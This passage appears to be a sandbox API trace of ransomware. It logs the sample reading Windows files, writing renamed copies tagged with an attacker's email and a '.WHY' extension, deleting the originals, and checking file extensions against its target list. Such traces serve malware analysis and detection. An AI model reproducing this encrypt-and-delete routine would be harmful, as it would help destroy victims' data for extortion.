(lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x26) returned 1 [0059.539] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 1 [0059.539] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0059.540] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0059.540] lstrlenW (lpString=".doc") returned 4 [0059.540] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0059.540] lstrlenW (lpString=".docx") returned 5 [0059.540] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0059.540] lstrlenW (lpString=".pdf") returned 4 [0059.540] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0059.540] lstrlenW (lpString=".xls") returned 4 [0059.540] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0059.540] lstrlenW (lpString=".xlsx") returned 5 [0059.540] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0059.540] lstrlenW (lpString=".ppt") returned 4 [0059.540] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0059.540] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0059.541] lstrlenW (lpString=".zip") returned 4 [0059.541] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0059.541] lstrlenW (lpString=".rar") returned 4 [0059.541] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0059.541] lstrlenW (lpString=".bz2") returned 4 [0059.541] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0059.541] lstrlenW (lpString=".7z") returned 3 [0059.541] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0059.541] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0059.541] lstrlenW (lpString=".dbf") returned 4 [0059.541] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0059.541] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0059.541] lstrlenW (lpString=".1cd") returned 4 [0059.542] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0059.542] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0059.542] lstrlenW (lpString=".jpg") returned 4 [0059.542] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0059.542] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0059.542] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0059.542] lstrlenW (lpString=".doc") returned 4 [0059.543] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0059.543] lstrlenW (lpString=".docx") returned 5 [0059.543] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0059.543] lstrlenW (lpString=".pdf") returned 4 [0059.543] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0059.543] lstrlenW (lpString=".xls") returned 4 [0059.543] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0059.543] lstrlenW (lpString=".xlsx") returned 5 [0059.543] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0059.543] lstrlenW (lpString=".ppt") returned 4 [0059.543] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0059.543] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0059.543] lstrlenW (lpString=".zip") returned 4 [0059.544] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0059.544] lstrlenW (lpString=".rar") returned 4 [0059.544] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0059.544] lstrlenW (lpString=".bz2") returned 4 [0059.544] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0059.544] lstrlenW (lpString=".7z") returned 3 [0059.544] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0059.544] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0059.544] lstrlenW (lpString=".dbf") returned 4 [0059.544] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0059.545] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0059.545] lstrlenW (lpString=".1cd") returned 4 [0059.545] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0059.545] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0059.545] lstrlenW (lpString=".jpg") returned 4 [0059.545] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0059.546] Sleep (dwMilliseconds=0x64) [0060.010] Sleep (dwMilliseconds=0x64) [0060.770] Sleep (dwMilliseconds=0x64) [0061.046] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0061.046] lstrlenW (lpString="Setup.xml") returned 9 [0061.046] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0061.047] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x28fff1c | out: lpFileSize=0x28fff1c*=1886) returned 1 [0061.047] CloseHandle (hObject=0x1d0) returned 1 [0061.047] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0061.048] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0061.048] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0061.048] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.048] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.048] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0061.049] GetLastError () returned 0x0 [0061.049] ReadFile (in: hFile=0x1d0, lpBuffer=0x2f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x28ffed4, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesRead=0x28ffed4*=0x75e, lpOverlapped=0x0) returned 1 [0061.062] WriteFile (in: hFile=0x1cc, lpBuffer=0x2f00020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x28ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesWritten=0x28ffc9c*=0x760, lpOverlapped=0x0) returned 1 [0061.065] ReadFile (in: hFile=0x1d0, lpBuffer=0x2f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x28ffed4, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesRead=0x28ffed4*=0x0, lpOverlapped=0x0) returned 1 [0061.065] WriteFile (in: hFile=0x1cc, lpBuffer=0x2f00020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x28ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesWritten=0x28ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0061.066] SetEndOfFile (hFile=0x1cc) returned 1 [0061.066] CloseHandle (hObject=0x1cc) returned 1 [0061.070] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.070] SetEndOfFile (hFile=0x1d0) returned 1 [0061.073] CloseHandle (hObject=0x1d0) returned 1 [0061.073] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0061.073] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0061.074] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.074] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.074] lstrlenW (lpString=".doc") returned 4 [0061.074] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.074] lstrlenW (lpString=".docx") returned 5 [0061.074] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0061.074] lstrlenW (lpString=".pdf") returned 4 [0061.074] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.074] lstrlenW (lpString=".xls") returned 4 [0061.074] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.075] lstrlenW (lpString=".xlsx") returned 5 [0061.075] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0061.075] lstrlenW (lpString=".ppt") returned 4 [0061.075] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.075] lstrlenW (lpString=".zip") returned 4 [0061.075] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.075] lstrlenW (lpString=".rar") returned 4 [0061.075] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.075] lstrlenW (lpString=".bz2") returned 4 [0061.075] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.075] lstrlenW (lpString=".7z") returned 3 [0061.075] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.075] lstrlenW (lpString=".dbf") returned 4 [0061.076] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.076] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.076] lstrlenW (lpString=".1cd") returned 4 [0061.076] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.076] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.076] lstrlenW (lpString=".jpg") returned 4 [0061.076] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.076] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.076] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.076] lstrlenW (lpString=".doc") returned 4 [0061.076] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.076] lstrlenW (lpString=".docx") returned 5 [0061.076] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0061.077] lstrlenW (lpString=".pdf") returned 4 [0061.077] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.077] lstrlenW (lpString=".xls") returned 4 [0061.077] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.077] lstrlenW (lpString=".xlsx") returned 5 [0061.077] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0061.077] lstrlenW (lpString=".ppt") returned 4 [0061.077] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.077] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.077] lstrlenW (lpString=".zip") returned 4 [0061.078] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.078] lstrlenW (lpString=".rar") returned 4 [0061.078] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.078] lstrlenW (lpString=".bz2") returned 4 [0061.078] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.078] lstrlenW (lpString=".7z") returned 3 [0061.078] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.078] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.078] lstrlenW (lpString=".dbf") returned 4 [0061.078] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.078] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.078] lstrlenW (lpString=".1cd") returned 4 [0061.078] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.078] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.079] lstrlenW (lpString=".jpg") returned 4 [0061.079] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.079] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0061.079] lstrlenW (lpString="PublisherMUI.xml") returned 16 [0061.079] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0061.274] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x28fff1c | out: lpFileSize=0x28fff1c*=1450) returned 1 [0061.274] CloseHandle (hObject=0x1a0) returned 1 [0061.275] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 0x2020 [0061.275] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0061.275] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0061.275] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.275] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.276] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x140 [0061.276] GetLastError () returned 0x0 [0061.276] ReadFile (in: hFile=0x1a0, lpBuffer=0x2f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x28ffed4, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesRead=0x28ffed4*=0x5aa, lpOverlapped=0x0) returned 1 [0061.281] WriteFile (in: hFile=0x140, lpBuffer=0x2f00020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x28ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesWritten=0x28ffc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0061.284] ReadFile (in: hFile=0x1a0, lpBuffer=0x2f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x28ffed4, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesRead=0x28ffed4*=0x0, lpOverlapped=0x0) returned 1 [0061.284] WriteFile (in: hFile=0x140, lpBuffer=0x2f00020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x28ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesWritten=0x28ffc9c*=0xf4, lpOverlapped=0x0) returned 1 [0061.284] SetEndOfFile (hFile=0x140) returned 1 [0061.285] CloseHandle (hObject=0x140) returned 1 [0061.286] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.286] SetEndOfFile (hFile=0x1a0) returned 1 [0061.288] CloseHandle (hObject=0x1a0) returned 1 [0061.289] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0061.289] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 1 [0061.290] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0061.290] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0061.290] lstrlenW (lpString=".doc") returned 4 [0061.290] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.290] lstrlenW (lpString=".docx") returned 5 [0061.290] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0061.290] lstrlenW (lpString=".pdf") returned 4 [0061.290] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.290] lstrlenW (lpString=".xls") returned 4 [0061.290] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.290] lstrlenW (lpString=".xlsx") returned 5 [0061.290] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0061.290] lstrlenW (lpString=".ppt") returned 4 [0061.290] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.291] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0061.291] lstrlenW (lpString=".zip") returned 4 [0061.291] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.291] lstrlenW (lpString=".rar") returned 4 [0061.291] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.291] lstrlenW (lpString=".bz2") returned 4 [0061.291] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.291] lstrlenW (lpString=".7z") returned 3 [0061.291] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.291] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0061.291] lstrlenW (lpString=".dbf") returned 4 [0061.291] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.291] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0061.291] lstrlenW (lpString=".1cd") returned 4 [0061.291] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.292] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0061.292] lstrlenW (lpString=".jpg") returned 4 [0061.292] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.292] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0061.292] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0061.292] lstrlenW (lpString=".doc") returned 4 [0061.292] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.292] lstrlenW (lpString=".docx") returned 5 [0061.292] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0061.292] lstrlenW (lpString=".pdf") returned 4 [0061.292] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.292] lstrlenW (lpString=".xls") returned 4 [0061.293] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.293] lstrlenW (lpString=".xlsx") returned 5 [0061.293] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0061.293] lstrlenW (lpString=".ppt") returned 4 [0061.293] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.293] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0061.293] lstrlenW (lpString=".zip") returned 4 [0061.293] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.293] lstrlenW (lpString=".rar") returned 4 [0061.293] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.293] lstrlenW (lpString=".bz2") returned 4 [0061.293] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.293] lstrlenW (lpString=".7z") returned 3 [0061.294] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.294] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0061.294] lstrlenW (lpString=".dbf") returned 4 [0061.294] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.294] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0061.294] lstrlenW (lpString=".1cd") returned 4 [0061.294] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.294] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0061.294] lstrlenW (lpString=".jpg") returned 4 [0061.294] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.294] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0061.295] lstrlenW (lpString="Setup.xml") returned 9 [0061.295] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0061.296] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x28fff1c | out: lpFileSize=0x28fff1c*=4207) returned 1 [0061.296] CloseHandle (hObject=0x1a0) returned 1 [0061.296] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0061.296] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0061.296] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0061.296] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.297] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.297] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x140 [0061.298] GetLastError () returned 0x0 [0061.298] ReadFile (in: hFile=0x1a0, lpBuffer=0x2f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x28ffed4, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesRead=0x28ffed4*=0x106f, lpOverlapped=0x0) returned 1 [0061.308] WriteFile (in: hFile=0x140, lpBuffer=0x2f00020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x28ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesWritten=0x28ffc9c*=0x1070, lpOverlapped=0x0) returned 1 [0061.312] ReadFile (in: hFile=0x1a0, lpBuffer=0x2f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x28ffed4, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesRead=0x28ffed4*=0x0, lpOverlapped=0x0) returned 1 [0061.312] WriteFile (in: hFile=0x140, lpBuffer=0x2f00020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x28ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesWritten=0x28ffc9c*=0xe6, 